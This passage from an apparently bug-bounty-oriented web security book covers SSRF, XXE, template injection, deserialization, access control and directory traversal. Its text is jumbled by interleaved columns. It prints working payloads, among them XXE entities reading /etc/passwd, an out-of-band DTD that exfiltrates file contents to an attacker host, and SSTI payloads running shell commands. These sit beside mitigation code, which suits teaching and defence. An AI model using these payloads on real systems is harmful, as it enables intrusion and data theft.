- Tools:
1. Response comparators: Compare the responses
78 MILLIONAIRE RECORDS
obtained by modifying the parameter values.
2. Custom scripts: Analyze responses for sensitive infor
mation that should not be accessible.
3. Example: Compare the responses obtained when acces
sing /user/123 and /user/124 to verify if data from diffe
rent users is displayed.
4. Automated Exploitation
web vulnerabilities 79
2 . 7 - R AC E C O NDI TI O N Example 2: Ticket Reservations
To better understand race conditions, let's look at some Preventing Race Conditions
real-world examples that illustrate how they can manifest them-
selves and what implications they can have.
To prevent race conditions, it is essential to implement proper
Example 1: Bank Transfers synchronization mechanisms. Here are some common techniques:
Imagine a banking system where a user can transfer money 1. Resource locking: Use locking mechanisms to ensure that
from his account to another. Consider the following scenario: only one process or thread can access a shared resource at a time.
80 MILLIONAIRE RECORDS
- Atomic Transactions: Ensure that critical transactions Race conditions are critical vulnerabilities that can have
are performed atomically, i.e. as a single indivisible unit. serious implications for application integrity and security.
Understanding how they work and learning from real-world
---------- examples can help you better protect your systems and
BEGIN TRANSACTION; data. Implement proper synchronization mechanisms, use
UPDATE accounts SET balance = balance - 50 WHERE resource locks and ensure that critical operations are per-
account_id = 'A'; formed atomically to mitigate the risks associated with
UPDATE accounts SET balance = balance + 50 WHERE race conditions.
account_id = 'B';
COMMIT;
----------
----------
public class Singleton {
private static volatile Singleton instance;
web vulnerabilities 81
2 . 8 - SER V E R - S I DE R E- on a private network.
The SSRF vulnerability occurs when a web application takes # Ataque SSRF
user-controlled input and uses it to generate a request on the fetch_metadata()
server without proper validation. This allows an attacker to redi- -----------
rect the request to a destination of their choice, which can be
another server or an internal service. In this case, an attacker could obtain sensitive informa-
tion about cloud instances, such as temporary IAM cre-
Ejemplos Reales de SSRF dentials in AWS.
To better understand SSRF, let's look at some real-world Risks and Consequences
examples that show how this vulnerability can be exploited and
its possible implications. SSRF vulnerabilities can have serious consequences for the
security of an application:
Ejemplo 1: Escaneo de Redes Internas
• Unauthorized Access: Attackers can access inter-
Imagine a system that allows users to provide a URL to nal resources that are not intended to be exposed
preview the content of that page. If the application does not externally.
properly validate the URL provided, an attacker can supply an
internal URL and perform a scan of the server's internal network. • Data Exfiltration: Attackers can extract sensitive data,
such as internal service credentials and metadata from
----------- cloud instances.
def get_preview(url):
response = requests.get(url) • Sideways Movement: Attackers can use SSRF to scan
return response.content and attack other systems within the internal network.
82 MILLIONAIRE RECORDS
Prevención de SSRF are on a whitelist of trusted domains.
-----------
def is_internal_ip(ip_address):
return ip_address.startswith("192.168.") or ip_address.
startswith("10.") or ip_address.startswith("172.16.")
def get_preview(url):
parsed_url = urlparse(url)
ip_address = socket.gethostbyname(parsed_url.hostname)
if is_internal_ip(ip_address):
raise ValueError("Acceso no autorizado a IP interna")
response = requests.get(url)
return response.content
-----------
web vulnerabilities 83
panels, cloud instance metadata, internal API interfaces, etc.
Advanced Search - Port scanning: Scanning of internal ports to discover vul-
nerable services.
SSRF (Server Side Request Forgery Facility) vulnerabilities - Attacks on other servers: Use of the vulnerable server as
are a class of security flaws that allow an attacker to send a proxy to attack other systems.
arbitrary requests from the application server to internal or - Remote code execution (RCE): In some cases, SSRF can
external destinations. This chapter explores techniques and lead to RCE if the target server is vulnerable.
strategies to find and exploit these vulnerabilities, revealing
their potential impact and how to mitigate them. 5. SSRF mitigation
4. SSRF Exploitation
84 MILLIONAIRE RECORDS
4. Disable URL resolution.
web vulnerabilities 85
3. Blind SSRF
Escalating the attack - Objective: Exploit SSRF when there is no direct response
from the vulnerable server.
While basic SSRF can reveal sensitive information, this chap - Techniques:
ter explores how attackers can escalate their SSRF atta 1. Time-based attacks: send SSRF requests that cause a
cks to achieve full exploitation, from internal network access delay in the vulnerable server's response if the request
to remote code execution. succeeds.
2. DNS-based attacks: Send SSRF requests to a DNS server
1. Internal Network Exploration controlled by the attacker and analyze the DNS queries to
determine if the SSRF request was successful.
- Goal: Map the internal network, identify open services 3. External request-based attacks: Send SSRF requests to an
and ports. external server controlled by the attacker and analyze
- Techniques: the server logs to determine if the SSRF request was
1. Port Scan: Use SSRF to send requests to different ports successful.
on the internal network and determine which ones are open.
2. Service discovery: Identify services running on open 4. Cloud SSRF
ports (HTTP, FTP, SSH, etc.).
3. Information Discovery: Access internal administration - Goal: Exploit SSRF in cloud environments to access ins
pages, control panels or other interfaces that may reveal tance metadata, cloud services and other APIs.
sensitive information. - Techniques:
- Example: 1. Instance metadata attacks: access instance metadata from
cloud providers (AWS, Azure, GCP) via SSRF.
http://sitio-vulnerable.com/ 2. Attacks on cloud services: Accessing cloud services (sto
vulnerabilidad-ssrf?url=http://192.168.0.1:80 rage, databases, functions) via SSRF.
3. Attacks on cloud APIs: Exploiting vulnerabilities in cloud
2. Attacks on Internal Services provider APIs.
- Objective: Exploit vulnerabilities in identified internal Defenses against SSRF attacks escalation
services.
- Techniques: - Input validation: Strictly validate user-supplied URLs to
- Attacks on web services: Inject malicious payloads into prevent them from pointing to internal resources.
SSRF requests to exploit vulnerabilities in internal web - URL whitelisting: Allow only requests to specific, known
applications. URLs.
- Database attacks: Accessing internal databases via SSRF - Disable unnecessary protocols: Disable protocols such as
and performing malicious SQL queries. file://, gopher://, dict:// if they are not needed.
- Attacks on file services: Reading, writing or modifying files - Web Application Firewall (WAF): Configure the WAF to
on internal servers via SSRF. detect and block SSRF attack patterns.
- Example:
http://sitio-vulnerable.com/vulnerabilidad-ssrf?url=http://
servidor-interno.com?vulnerabilidad-sql?consulta=maliciosa
86 MILLIONAIRE RECORDS
1. Penetration testing frameworks: automate injection
Automating the attack and testing of SSRF payloads. Examples: Burp Suite Intruder,
ZAP Active Scan.
While manual detection of SSRF is possible, automation 2. Custom scripts: Develop scripts to automate speci
offers significant advantages in terms of efficiency and fic tasks, such as payload injection in forms or URL
ability to discover hidden vulnerabilities. This chapter explo parameters.
res how to automate SSRF attacks, from reconnaissance - Example: Use Burp Suite Intruder to inject a list of SSRF
to exploitation. payloads into a URL parameter and analyze server
responses to detect if any request was successfully executed.
1. Automated Reconnaissance
4. Automated Monitoring and Alerting
- Goal: Identify potential entry points for SSRF in a web
application. - Goal: Receive real-time notifications when an SSRF vul
- Tools: nerability is discovered or an exploitation attempt is
1. Web crawlers (Crawlers): collect URLs and parame detected.
ters from a web application. Examples: Burp Suite Spider, - Tools:
ZAP Spider. 1. Intrusion detection systems (IDS): monitor network traf
2. Vulnerability scanners: Search for known SSRF pat fic for SSRF attack patterns. Examples: Snort, Suricata.
terns in source code and server responses. Examples: Nuclei, 2. WAF (Web Application Firewall): Block suspicious
Bandit. requests
3. Traffic analysis: Inspect network traffic for suspicious that may indicate an SSRF attack.
requests that may indicate SSRF. Examples: Burp Suite - Example: Configure an IDS to generate alerts when SSRF
Proxy, Wireshark. requests attempting to access internal resources are
- Example: Use a web crawler to collect all URLs of a web detected.
application and then use a vulnerability scanner to scan
each page for SSRF patterns. Ethical and Legal Considerations
web vulnerabilities 87
2 . 9 - I N S E C U R E DE S E RI- } catch (Exception e) {
e.printStackTrace();
AL I Z AT I O N # 2. 9 }
}
}
---------------
Insecure deserialization is a vulnerability that occurs when
an application deserializes untrusted data and then executes or If the data.ser file contains a manipulated object, the atta-
interprets that data as code. This vulnerability can allow an atta- cker can execute arbitrary commands on the server.
cker to execute arbitrary code, modify existing data, or perform
additional attacks. Insecure deserialization is one of the most dan- Example 2: Data Manipulation
gerous vulnerabilities in applications that handle serialized data,
especially in systems that use objects to exchange information. An application that uses serialized objects to store user
information could be exposed to data manipulation. For exam-
Understanding Insecure Deserialization ple, if a serialized object contains a user's role, an attacker could
modify the role to gain administrative privileges.
Serialization is the process of converting an object into a
format that can be stored or transmitted and then reconstruc- ---------------
ted. Deserialization is the reverse process. When an application # Example in Python using pickle
deserializes data without properly validating its origin or content, import pickle
it may be exposed to insecure deserialization.
class User:
Real Examples of Insecure Deserialization def __init__(self, username, role):
self.username = username
To better understand how insecure deserialization works, self.role = role
let's look at some examples that illustrate its exploitation and
possible impacts. # An attacker can create an object with administrator role
malicious_user = User("attacker", "admin")
Example 1: Arbitrary Code Execution serialized_user = pickle.dumps(malicious_user)
Suppose a Java application deserializes objects that are # The application deserializes the object without validation.
received via an HTTP request. If an attacker can manipulate the deserialized_user = pickle.loads(serialized_user)
contents of those objects, he could introduce malicious code to print(deserialized_user.role) # Output: admin
be executed during the deserialization process. ---------------
88 MILLIONAIRE RECORDS
Unauthorized Access: Attackers can access sensitive data 4. Use Secure Libraries: Use libraries and frameworks
without proper authorization. that provide secure deserialization mechanisms. Some modern
Denial of Service (DoS): Deserialization attacks can con- libraries have built-in security measures to prevent insecure
sume system resources, causing a denial of service. deserialization.
Preventing Insecure Deserialization 5. Monitoring and Logging: Implement monitoring and log-
ging of deserialization events to detect and respond to suspi-
To prevent insecure deserialization, it is essential to imple- cious activity.
ment appropriate security measures:
Insecure deserialization is a critical vulnerability that can
1. Use of Secure Data Formats: whenever possible, avoid have a devastating impact on the security of an application. By
deserializing data and use more secure formats, such as JSON understanding how deserialization works and the techniques
or XML, which do not allow code execution. attackers use to exploit it, you can implement effective security
measures to protect your applications. Be sure to use secure
--------------- data formats, validate and sanitize inputs, implement whitelis-
import json ting, use secure libraries and monitor deserialization activities.
---------------
// Java example using a whitelist
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("data.ser")) {
protected Class<?> resolveClass(ObjectStreamClass
desc) throws IOException, ClassNotFoundException {
if (desc.getName().equals("com.example.SafeClass")) {
return super.resolveClass(desc);
} else {
throw new InvalidClassException("Unauthorized
deserialization attempt", desc.getName());
}
}
};
---------------
web vulnerabilities 89
2 . 1 0 - X M L E X TE R NA L Example 2: Network Requests (SSRF)
Understanding the XXE Vulnerability In this case, the external entity points to a remote resource.
The server makes an HTTP request to the URL specified by the
Most modern applications use XML for data transmission. attacker.
XML documents can contain external entities, which are refe-
rences to external resources. If these references are not handled Risks and Consequences
correctly, they can be exploited by attackers to extract sensitive
information or execute malicious code. XXE vulnerabilities can have serious consequences:
Real Examples of XXE 1. Data Exfiltration: Attackers can read sensitive local files
and exfiltrate confidential information.
To understand how the XXE vulnerability works, let's look 2. Denial of Service (DoS): XXE attacks can be used to
at some examples that illustrate its exploitation and possible exhaust server resources and cause a denial of service.
impacts. 3. Remote Code Execution (RCE): In some cases, XXE can
lead to remote code execution on the server.
Example 1: Reading Local Files 4. Network Requests (SSRF): Attackers can make unau-
thorized network requests from the affected server,
An attacker can inject an external entity into an XML request accessing internal or external resources.
to read local files on the server.
Preventing Vulnerability XXE
----------------
<?xml version="1.0" encoding="ISO-8859-1"?> To prevent the XXE vulnerability, it is crucial to follow best
<!DOCTYPE foo [ security practices when processing XML data:
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</ 1. Disable External Entities: disable external entity resolu-
foo> tion in XML parsers.
----------------
If the application does not disable external entity resolu-
tion, the contents of the /etc/passwd file will be included in the ----------------
server response. // Java example
DocumentBuilderFactory dbf = DocumentBuilderFactory.
newInstance();
90 MILLIONAIRE RECORDS
dbf.setFeature("http://apache.org/xml/features/disallow-
-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-ge-
neral-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-para-
meter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalida-
ting/load-external-dtd", false);
----------------
----------------
# Example in Python using defusedxml
from defusedxml.lxml import parse
web vulnerabilities 91
4. Exploiting XXE
Advanced search
- File exfiltration: Reads sensitive files from the server file
XML external entity injection (XXE) vulnerabilities can have system, such as configuration files or passwords.
serious consequences, allowing attackers to access - SSRF (Server-Side Request Forgery) attacks: Makes
sensitive files, perform denial-of-service (DoS) atta- requests from the server to other internal or exter-
cks and even execute code remotely. This chapter will nal systems.
guide you through the process of finding and exploi- - DoS attacks: Injects recursive entities that consume ser-
ting XXE, from identifying entry points to executing ver resources and cause the server to crash.
malicious payloads. - Remote Code Execution (RCE): In some cases, XXE can
lead to code execution on the server if certain condi-
1. What is XXE? tions are met.
- XML: Extensible Markup Language used to structure data. 5. Examples of XXE Payloads
- Entities: Storage units within an XML document that may
represent data or references to external data. Basic XXE:
- External Entities: Entities that refer to external resources,
such as files or URLs. <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/pas-
- XXE Vulnerability: Occurs when an XML parser processes swd"> ]>
untrusted external entities provided by an attacker. <data>&xxe;</data>.
- Functionalities that process XML: Look for XML file loa- <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://sitio-
ding forms, APIs that accept XML data, SOAP-based -atacante.com/malicioso.dtd"> %xxe; ]>
web services, etc.
- Traffic analysis: Use tools such as Burp Suite or ZAP to XXE with external DTD:
intercept and analyze requests and responses con-
taining XML. <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/
- Documentation: Review application documentation for passwd"> <!ENTITY % eval "<!ENTITY % exfil-
mentions of XML or functionality that may be sus- trate SYSTEM 'http://sitio-atacante.com/?x=%file;'>">
ceptible to XXE. %eval; %exfiltrate; ]>
- Basic test: Replace an internal entity in the XML with an - Disable external entity processing: Configures the XML
external entity that references a local file controlled parser not to process external entities.
by the attacker (e.g., /etc/passwd). - Input validation: Strictly validates XML data before
- Blind XXE: If no direct response is received, uses Blind processing.
XXE techniques to exfiltrate data through requests to - WAF (Web Application Firewall): Uses a WAF to detect
a server controlled by the attacker. and block XXE attack patterns.
- XXE with DTD (Document Type Definition): Injects an
external DTD defining malicious entities to execute
more sophisticated attacks.
92 MILLIONAIRE RECORDS
Additional Considerations
web vulnerabilities 93
]>
Sobrepasando la protección
- DoS attack with entity expansion:
94 MILLIONAIRE RECORDS
and mitigation. Staying up-to-date on the latest evasion <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://sitio-ata-
techniques and applying security patches in a timely man- cante/script-malicioso.php"> ]>
ner is critical. <foo>&xxe;</foo>
XML
web vulnerabilities 95
information, execute commands or cause outages.
- Tools:
Automating the attack XXE Exploitation Frameworks: provide a set of tools and
scripts to automate the injection of XXE payloads and exploi-
Automating this process allows security researchers and tation of vulnerabilities. Examples: XXExploiter, XXEServ.
attackers to scale their efforts, discover XXE vulnerabili- Custom scripts: Develop your own scripts to automate spe-
ties more efficiently and perform more sophisticated atta- cific tasks, such as extracting data from files or executing
cks. This chapter explores the key tools and techniques for commands via XXE.
automating XXE attacks, from detection to exploitation. - Example: Use an XXE exploit framework to automate
the injection of an XXE payload that attempts to execute
Automated XXE Detection a command on the vulnerable server operating system.
- Goal: Identify web applications and services that are poten- 4. XXE Attack Scaling and Optimization
tially vulnerable to XXE.
- Tools: - Goal: Maximize the impact of XXE attacks by automating
1. Vulnerability scanners: look for known pat- tasks such as enumerating files and directories, searching
terns of XXE vulnerabilities in HTTP requests and respon- for specific files, or exploiting multiple XXE vulnerabilities
ses. Examples: OWASP ZAP, Burp Suite. in parallel.
2. Fuzzers: Send specially designed XXE payloads to appli- - Techniques:
cations to test their behavior and detect vulnerabilities. 1. recursive file search: use XXE payloads to enumerate
Examples: Wfuzz, ffuf. files and directories recursively on the server file system.
- Example: Using a vulnerability scanner to automatically 2. Massive data exfiltration: Automate the extrac-
scan a web application for signs of XXE vulnerabilities, such tion of large amounts of data through multiple XXE payloads.
as revealing errors in responses or the ability to include *Parallel exploitation: Using multiple threads or processes
external entities in XML documents. to exploit multiple XXE vulnerabilities simultaneously.
- Example: Develop a script that uses XXE to enumerate
2. Automated Generation of XXE Payloads all files in a specific directory on the vulnerable server and
then attempt to download them automatically.
- Goal: Create custom XXE payloads for different attack
scenarios, such as data exfiltration, remote code execution Ethical and Legal Considerations
(RCE) or denial of service (DoS).
- Tools: Automating XXE attacks must be done in a responsible and
XXE payload generators: create XXE payloads based on ethical manner. It is critical to obtain proper permission
predefined templates or on specific parameters. Examples: before testing on third-party systems and to avoid causing
XXEinjector, xxe-payload-generator. unnecessary damage or disruption.
2. XXE payload libraries: Collections of ready-
-to-use XXE payloads tested in different environments.
- Example: Use an XXE payload generator to create a payload
that attempts to read the /etc/passwd file of a vulnerable
system and send it to a server controlled by the attacker.
96 MILLIONAIRE RECORDS
web vulnerabilities 97
2 . 1 0 - T E M P L ATE I NJE C- The problem arises when the application does not properly
validate and sanitize the data that is inserted into the template.
{{ 7*7 }}
Imagine you commission an artist to paint your portrait, but
instead of using your image, they use that of a complete stranger. If the template engine is not protected, it will interpret this
The result might be a work of art, but it's definitely not what you expression and display the result (49) on the page. But an atta-
expected. In the world of web development, Template Injection cker could go further and inject more dangerous code, such as:
is like that erroneous portrait: the application works, but the
result is unexpected and potentially dangerous. {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__
name__ == 'catch_warnings' %}{{{ c.__init__.__globals__['__buil-
In essence, Template Injection is a vulnerability that occurs tins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{%
when a web application uses untrusted data to build dynamic endfor %}{% endfor %}
templates. If an attacker gains control of this data, they can inject
malicious code into the template, which will then be executed This payload, designed for the Jinja2 template engine,
by the application with the same privileges as the template. attempts to execute the id command on the server and display
the result on the page.
Why is Template Injection So Dangerous?
Examples of Template Injection Payloads
Template injection can have devastating consequences for
the security of a web application: Template injection payloads may vary depending on the
engine used. Here are some examples for the most popular
- Remote Code Execution (RCE): This is the holy grail of engines:
many attackers. It allows them to execute arbitrary commands
on the server, giving them full control of the system. - Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}
- Information Disclosure: Attackers can use template injec- {{_self.env.getFilter("id")}}}
tion to read sensitive files from the server, such as passwords, - Jinja2: {{ config.items() }}}
API keys or client data. - FreeMarker: <#assign ex = "freemarker.template.utility.
- Denial of Service (DoS) attacks: They can inject code that Execute"?new()>${ ex("id")}
overloads the application, making it unusable for legitimate users.
How to Protect Yourself from Template Injection.
Anatomy of a Template Injection Attack
The best defense against template injection is prevention:
To understand how template injection works, we must first
understand how template engines work. These engines allow - Rigorous Input Validation: Never rely on user-supplied
developers to create templates with placeholders (variables) that data. Always validate and sanitize inputs before using them in
are then populated with dynamic data. For example: a template.
- Use Secure Templates: Opt for template engines that offer
Hello, {{ user_name }} built-in security mechanisms, such as sandboxing or whitelisting
of allowed functions.
In this case, {{ user_name }} is a variable that will be repla- - Principle of Least Privilege: Limit template permissions so
ced by the user's actual name when the template is rendered. that only necessary resources can be accessed.
- Security Updates: Keep your software up to date to fix
98 MILLIONAIRE RECORDS
known vulnerabilities.
web vulnerabilities 99
2 . 1 1 -AP P L I C AT I O N L O G- access or modify the same data at the same time, unexpected
results may occur.
Although not always as obvious as a system failure, logic Application logic errors are a silent but dangerous threat
errors can have serious consequences: to the security and reliability of any software. By understanding
how to identify and correct them, you can improve the quality
- Financial losses: A logic error in an e-commerce system of your application and protect your users from unexpected and
could allow users to purchase products at incorrect prices or potentially harmful results.
without paying.
- Data leaks: A logic error in a user management system
could allow users to access data they should not have access to.
- Reputational damage: A logic error in a voting system could
lead to incorrect results, undermining confidence in the process.
Application logic vulnerabilities are errors in the design or How to Detect and Prevent Application Logic Bugs
implementation of an application that an attacker can exploit
to bypass security protections and gain unauthorized access or - Code Analysis: Review source code for logic errors, such
perform unwanted actions. These errors are often more difficult as incorrect authorization checks or miscalculations.
to detect than traditional technical vulnerabilities because they - Penetration Testing: Perform security testing to simulate
require a deep understanding of how the application works and attacks and discover application logic vulnerabilities.
how its various components interact. - Design Review: Analyze application design to identify
potential weaknesses in business logic.
Types of Application Logic Errors - Threat Modeling: Identify potential threats and design the
application to mitigate them.
- Authorization Errors: These occur when an application - Input Validation: Validate all data provided by the user
does not properly verify whether a user has permission to per- to ensure that it is secure and complies with the application
form a specific action. For example, an attacker could modify the requirements.
URL of a protected resource to access it without authentication. - Error Handling: Implement proper error handling to pre-
- Access Control Errors: These allow an attacker to access vent attackers from obtaining sensitive information from error
resources or functionality to which he/she should not have messages.
access. For example, an attacker could manipulate the parame- - Role-Based Access Control: Implement granular access
ters of a request to view another user's confidential information. control to ensure that users can only access the resources and
- Input Validation Errors: Occur when an application fails functions to which they are entitled.
to properly validate user-supplied data, allowing an attacker to - Security Auditing: Conduct periodic security audits to
inject malicious code or manipulate the application's behavior. identify and correct application logic vulnerabilities.
- State Handling Errors: Occur when an application does not
properly manage the state of a session or transaction, allowing Detecting and preventing application logic errors is an
an attacker to manipulate the flow of the application or perform ongoing challenge that requires a multidisciplinary approach and
unauthorized actions. a combination of tools and techniques. By understanding the
- Calculation Errors: Occur when an application performs different types of logic errors and how to exploit them, develo-
incorrect calculations, allowing an attacker to manipulate prices, pers and security professionals can build more secure and resi-
quantities or other important values. lient applications.
CO N T R O L ( BA C ) # 2. 1 2 Example:
https://sitio.com/perfil?usuario=123
Imagine if a bank had no security guards and no safes.
Anyone could walk in and take whatever money they wanted. An attacker could change the user value to another
In the digital world, Broken Access Controls are the equivalent number to view another user's profile.
of leaving the bank door wide open.
2. Authentication and Authorization Failures: An atta-
Access controls are the security measures that determine cker can bypass authentication or authorization mechanisms to
who can access what resources on a system. When these controls gain access to restricted areas of a system. This can occur due to
fail, attackers can exploit these vulnerabilities to access sensitive weak passwords, unsecured sessions or failures in authorization
information, modify data or even take control of entire systems. logic.
While I love the challenge of finding vulnerabilities of all 3. Incorrect Security Configuration: Access permissions
kinds, I have to admit that broken access controls have a special may be misconfigured, allowing unauthorized users to access
place in my heart. In fact, I consider them my personal gold mine. sensitive files or directories.
Access controls are critical to protect the integrity, confi- Mitigating Access Control Vulnerabilities
dentiality and availability of data and systems. Without them,
anyone could: To protect against vulnerabilities in access controls, it is
crucial to implement the following best practices:
- Access confidential information: Such as financial data,
medical records or trade secrets. - Principle of Least Privilege: Grant users only the permis-
- Modify or delete data: Wreaking havoc on critical systems sions necessary to perform their tasks.
or stealing valuable information. - Strong Authentication and Authorization: Implement
- Perform unauthorized actions: Such as transferring money, strong authentication and authorization mechanisms, such as
changing passwords or deleting user accounts. strong passwords, two-factor authentication and role-based
access controls.
Common Access Control Vulnerabilities - Input Validation: Always validates and sanitizes user input
to prevent IDOR attacks.
1. Direct Reference to Insecure Objects (IDOR): An atta- - Code Review and Security Testing: Performs comprehen-
cker manipulates the parameters of a request to access objects sive code reviews and security testing to identify and correct
- Direct object references: The application uses predictable - Access to other users' data: An attacker can change the
identifiers (such as ID numbers) to access resources, allowing user ID in a URL to view another user's requests.
attackers to manipulate them to access data that does not - Access to administrative functions: A normal user can
belong to them. access administrative functions by changing a parameter
- Lack of authorization verification: The application does in a request.
not verify whether the user has the necessary permissions - Access to confidential files: An attacker can download
before granting access to a resource. confidential invoices or reports by manipulating the para
- Incorrect configuration: Access permissions are miscon meters of a URL.
figured, giving users more privileges than they should have.
Broken Access Control Prevention
Techniques for Finding Broken Access Control
- Strict authorization verification: Always verify that the
1. Parameter Analysis: Examine HTTP request parame user has the necessary permissions before allowing access
ters for object identifiers (such as user ID, product ID, etc.). to a resource.
Attempt to manipulate these parameters to see if resources - Avoid direct object references: Use random identifiers
that should not be available can be accessed. or session tokens instead of predictable identifiers.
- Example: Changing the user ID in a URL to try to view - Input validation: Validate all user input to prevent para
another user's profile. meter tampering.
- Principle of least privilege: Grant users only the permis
2. Test Roles and Privileges: Create user accounts with diffe sions necessary to perform their tasks.
rent roles and privileges to see if you can access functions
or data restricted to higher roles.
- Example: Trying to access the administration section with Bypass protection
a normal user account.
Access control is a fundamental component of web appli
3. Force Enumeration: Trying to access resources with cation security. However, when these controls are flawed,
sequen attackers can find ways to bypass them and gain access to
tial identifiers to see if they exist and if they can be acces resources, functions or data to which they should not
Automating attacks against this type of vulnerability can - Example: Use Param Miner to extract all parameters from
reveal systematic weaknesses and escalate the identifica- a web application and then use a custom script to modify
tion of vulnerable entry points. This chapter will explore parameter values and verify if restricted resources can be
how to automate faulty access control attacks, from recon- accessed.
naissance to exploitation.
Brute Force and Enumeration Attacks
Automated Reconnaissance
1. Objective: To test different parameter values or identi-
1. Objective: Identify functions and resources potentially fiers to discover hidden resources or access confidential
vulnerable to access control problems. information.
2. Tools: 2. Tools:
- Web crawlers (Crawlers): collect URLs and parameters of - Burp Suite Intruder: Automates the injection of payloads
a web application, mapping its structure. Examples: Burp into parameters to perform brute force and enumeration
Suite Spider, ZAP Spider. attacks.
- Vulnerability scanners: Search for known patterns of - Wfuzz: Fuzzing URL and form parameters to discover
faulty access control, such as IDOR (Insecure Direct Object hidden resources.
Reference) or lack of role verification. Examples: OWASP
ZAP, Burp Suite. - Custom Scripts: Develop scripts to automate enumera-
tion of identifiers or parameter values.
- Traffic analysis: Inspect HTTP traffic to identify requests
to protected resources and analyze server responses. - Example: Use Burp Suite Intruder to perform a brute force
Examples: Burp Suite Proxy, Wireshark. attack on a user ID parameter to attempt to access other
users' profiles.
- Example: Use a web crawler to discover all URLs of a web
application and then use a vulnerability scanner to scan Automated Exploitation
each page for faulty access control patterns.
1. Goal: Exploit identified flawed access control vulnerabili-
Automated Parameter and Role Analysis ties to access restricted resources, modify data or perform
unauthorized actions.
1. Objective: Identify parameters that can be manipulated 2. Tools:
to access unauthorized resources and verify the implemen-
tation of roles and permissions. - Exploitation frameworks: automate tasks such as para-
2. Tools: meter modification, privilege escalation and execution of
malicious actions. Examples: Metasploit, Burp Suite.
- Param Miner: Extracts parameters from URLs and forms
for further analysis. - Custom scripts: Develop scripts to automate exploitation
in specific scenarios.
- Autorize: Tool to test authorization logic and verify if
access controls are implemented correctly. - Example: Use a custom script to modify an order ID in an
e-commerce application and change the shipping address
Imagine you are exploring a building and find a secret door Examples of Directory Traversal Payloads
that leads to restricted areas. In the digital world, Directory
Traversal (or "Path Traversal") is the equivalent of that secret Attackers use a variety of payloads to exploit Directory
door, allowing attackers to access files and directories out- Traversal vulnerabilities. Some common examples include:
side the web root folder.
- ../ (colon and slash): Navigates one level up in the direc-
In essence, Directory Traversal is a vulnerability that arises tory tree.
when a web application fails to properly validate user input, - ....// (four dots and two slashes): Attempts to bypass filters
allowing it to manipulate the path to a file or directory. This looking for "../" sequences.
can result in reading, and in some cases even modifying or - ..%2f (colon, percent 2f): Encodes the slash in URL to
deleting, sensitive files on the server. avoid detection.
- ..%c0%af (colon, percentage c0, percentage af): Encodes
Why is Directory Traversal Dangerous? the slash using a Unicode byte sequence.
Directory Traversal is a serious threat to the security of any Mitigating Directory Traversal
web application. An attacker exploiting this vulnerability can:
To protect against Directory Traversal, it is crucial to imple-
- Steal sensitive information: Access configuration files, ment the following security measures:
passwords, customer data, etc.
- Execute malicious code: Load and execute scripts on the - Input Validation: Never rely on user input. Always validate
server, potentially taking control of the system. and sanitize any data that is used to construct file paths.
- De-configure the website: Modify or delete files, causing - Whitelisting: Instead of trying to block all malicious input,
damage to the company's reputation. create a whitelist of allowed files or directories.
- Query Parameterization: Use parameterized queries to
How Directory Traversal Works prevent attackers from injecting malicious code into SQL
queries.
The root of the problem lies in the way web applications - Software Updating: Keep your software updated to fix
handle file paths. If an application does not properly vali- known vulnerabilities.
date and sanitize user input, an attacker can insert spe- - Security Testing: Perform periodic penetration tests to
cial sequences, such as "../" (colon and slash), to navigate identify and fix vulnerabilities before attackers find them.
through the file system.
Directory Traversal is a common but dangerous vulnerabi-
For example, if a web application uses the following URL lity that can have serious consequences for the security of
to display an image: your web application. By understanding how it works and
how to mitigate it, you can protect your data and systems
https://sitio.com/mostrar_imagen.php?archivo=imagen.jpg from attackers.
An attacker could attempt to modify the URL as follows: Remember, security is an ongoing process. You should
https://sitio.com/mostrar_imagen.php?archivo=../../../../ always be on the lookout for new threats and update your
File reading:
Advanced search - Attempting to access known files (e.g., /etc/passwd, con-
fig.php).
The "Directory Traversal" vulnerability (also known as "Path - Using brute force techniques to discover hidden files.
Traversal") allows an attacker to access files and directories
outside of the root web directory. This can lead to exposure Code execution:
of sensitive information, execution of malicious code and - If the server allows file uploads, attempt to upload a mali-
other security risks. This chapter explores how to identify cious file (e.g., a PHP script) and then access it through
and exploit these vulnerabilities, as well as best practices Directory Traversal.
to prevent them.
Prevention
Understanding Directory Traversal
Input validation:
1. Concept: An attacker manipulates the path of a requested - Strictly filter and sanitize all user input used to construct
file to access files outside the root web directory. file paths.
- Validate that file paths are within the root web directory.
2. Examples:
- http://example.com/../../etc/passwd Server configuration:
- http://example.com/images/../admin/config.php - Disable access to unnecessary directories.
Restrict file and directory permissions.
3. Impact: - Security patches:
- Reading of confidential files (passwords, API keys, etc.). - Keep software up to date to fix known vulnerabilities.
- Execution of malicious code (if the server allows file
uploads) Examples of Attacks and Payloads
- Access to restricted directories
- Reading files:
Identifying Vulnerabilities 1. http://example.com/download.php?file=../../../etc/passwd
2. http://example.com/view.php?page=../../../../var/www/
1. Manual analysis: html/index.php
- Review source code for functions that handle file paths - Code execution (if file uploading is allowed):
(e.g., include, require, fopen). 1. Uploading a shell.php file with malicious content.
- Testing URL parameters and form data with traversal 2. Access it through: http://example.com/uploads/shell.php
sequences (e.g., ../, ..../).
Useful Tools
2. Automated tools:
- Vulnerability scanners: look for known Directory Traversal - DirBuster: Brute force tool to discover hidden directo-
patterns. Examples: Nikto, OWASP ZAP. ries and files.
- Fuzzer: They send malicious entries to parameters to test - w3af: Web penetration testing framework with a module
if they are vulnerable. Examples: Wfuzz, ffuf. to detect Directory Traversal.
Strengthening Defenses
Bypass protection
Strict Validation of Inputs:
Developers implement various protections to mitigate this 1. Validate all user input and reject any suspicious sequences.
